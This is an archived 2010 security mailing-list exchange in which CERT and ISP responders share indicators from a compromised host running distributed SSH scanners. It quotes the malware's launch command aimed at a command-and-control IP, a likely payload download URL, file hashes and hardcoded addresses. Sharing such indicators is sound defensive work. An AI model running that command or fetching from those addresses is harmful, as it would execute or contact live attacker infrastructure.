[nsp-sec] distributed ssh scanners again

Torsten Voss voss at dfn-cert.de
Wed Nov 3 12:13:23 EDT 2010


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I thought it too, but on the system was no phpmyadmin installed. It is not
clear which vulnerbility was used.

Shure, you can share the information with your customers.

Cheers,
Torsten

Am 03.11.2010 17:04, schrieb Smith, Donald:
> Torsten, is it ok to share the fact that this is probably due to a vulnerable version of phpmyadmin internally and with customers?
> 
> 
> 
> (coffee != sleep) & (!coffee == sleep)
> Donald.Smith at qwest.com gcia
> 
>> -----Original Message-----
>> From: nsp-security-bounces at puck.nether.net
>> [mailto:nsp-security-bounces at puck.nether.net] On Behalf Of
>> Torsten Voss
>> Sent: Wednesday, November 03, 2010 9:44 AM
>> To: nsp-security at puck.nether.net
>> Subject: Re: [nsp-sec] distributed ssh scanners again
>>
>> ----------- nsp-security Confidential --------
>>
> Hi,
> 
> we've recieved the malware from an compromised system:
> 
> The malware was started similar then the last one in summer:
> 
> PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;/tmp/dd_ssh 300
> 217.79.190.53 2 2>/dev/null >/dev/null
> 
> 217.79.190.53 is probaly the C&C server for the distributed ssh scans
> 
> The initial malware was probably downloaded at
> http://195.69.220.2/a.txt
> 
> Three files were found:
> 60ccf6902bcc37550954383be1461041  barbut
> 3f25289959d9fecc72cf24d2e300c97b  dd_ssh
> 30a1e1ae9d573b2daceb71f9ec8c0ce8  dtdss
> 
> IP 195.69.220.2 is hardcoded in the dtdss file
> IP 217.79.181.30 is included in the barbut file
> 
> If someone would like a copy, please send us an email.
> 
> Kind regards,
>   Torsten, AS680
> 
> 
>>
>>
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